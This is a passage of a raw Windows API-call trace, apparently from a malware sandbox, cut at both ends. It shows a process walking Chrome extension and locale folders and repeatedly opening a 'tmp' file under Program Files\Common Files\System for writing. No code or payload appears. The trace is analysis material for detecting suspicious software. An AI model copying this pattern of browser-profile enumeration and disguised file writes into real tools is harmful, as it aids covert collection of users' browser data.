lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82556720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0132.187] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0132.188] GetLastError () returned 0x12 [0132.188] AreFileApisANSI () returned 1 [0132.188] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.188] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0132.188] GetFileType (hFile=0x18c) returned 0x1 [0132.188] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0132.188] AreFileApisANSI () returned 1 [0132.188] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.188] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0132.189] GetFileType (hFile=0x190) returned 0x1 [0132.189] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cf0550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cf0550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x22d, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0132.189] AreFileApisANSI () returned 1 [0132.189] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0132.189] GetFileType (hFile=0x194) returned 0x1 [0132.189] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0132.293] AreFileApisANSI () returned 1 [0132.293] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0132.293] GetFileType (hFile=0x198) returned 0x1 [0132.293] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0132.421] AreFileApisANSI () returned 1 [0132.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.421] GetFileType (hFile=0x19c) returned 0x1 [0132.421] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x20000, nFileSizeHigh=0x0, nFileSizeLow=0x1fa9b, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.421] AreFileApisANSI () returned 1 [0132.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.422] GetFileType (hFile=0x19c) returned 0x1 [0132.422] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x20000, nFileSizeHigh=0x0, nFileSizeLow=0x1fb9d, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.422] AreFileApisANSI () returned 1 [0132.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.422] GetFileType (hFile=0x19c) returned 0x1 [0132.422] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x20000, nFileSizeHigh=0x0, nFileSizeLow=0x1fc9f, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.422] AreFileApisANSI () returned 1 [0132.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.422] GetFileType (hFile=0x19c) returned 0x1 [0132.422] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x20000, nFileSizeHigh=0x0, nFileSizeLow=0x1fda1, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.423] AreFileApisANSI () returned 1 [0132.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.423] GetFileType (hFile=0x19c) returned 0x1 [0132.423] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x20000, nFileSizeHigh=0x0, nFileSizeLow=0x1fea3, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.423] AreFileApisANSI () returned 1 [0132.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.423] GetFileType (hFile=0x19c) returned 0x1 [0132.423] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x20000, nFileSizeHigh=0x0, nFileSizeLow=0x1ffa5, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.423] AreFileApisANSI () returned 1 [0132.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.423] GetFileType (hFile=0x19c) returned 0x1 [0132.424] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x21000, nFileSizeHigh=0x0, nFileSizeLow=0x200a7, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.424] AreFileApisANSI () returned 1 [0132.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.424] GetFileType (hFile=0x19c) returned 0x1 [0132.424] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x21000, nFileSizeHigh=0x0, nFileSizeLow=0x201a9, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.424] AreFileApisANSI () returned 1 [0132.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.424] GetFileType (hFile=0x19c) returned 0x1 [0132.424] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x21000, nFileSizeHigh=0x0, nFileSizeLow=0x202ae, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.424] AreFileApisANSI () returned 1 [0132.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.424] GetFileType (hFile=0x19c) returned 0x1 [0132.425] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x21000, nFileSizeHigh=0x0, nFileSizeLow=0x203b3, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.425] AreFileApisANSI () returned 1 [0132.425] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.425] GetFileType (hFile=0x19c) returned 0x1 [0132.425] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x21000, nFileSizeHigh=0x0, nFileSizeLow=0x204b5, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.425] AreFileApisANSI () returned 1 [0132.425] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.425] GetFileType (hFile=0x19c) returned 0x1 [0132.425] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x21000, nFileSizeHigh=0x0, nFileSizeLow=0x205bb, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.425] AreFileApisANSI () returned 1 [0132.425] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.425] GetFileType (hFile=0x19c) returned 0x1 [0132.426] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x21000, nFileSizeHigh=0x0, nFileSizeLow=0x206bd, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.426] AreFileApisANSI () returned 1 [0132.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.426] GetFileType (hFile=0x19c) returned 0x1 [0132.426] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x21000, nFileSizeHigh=0x0, nFileSizeLow=0x207bf, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.426] AreFileApisANSI () returned 1 [0132.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.426] GetFileType (hFile=0x19c) returned 0x1 [0132.426] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x21000, nFileSizeHigh=0x0, nFileSizeLow=0x208c2, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.426] AreFileApisANSI () returned 1 [0132.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common 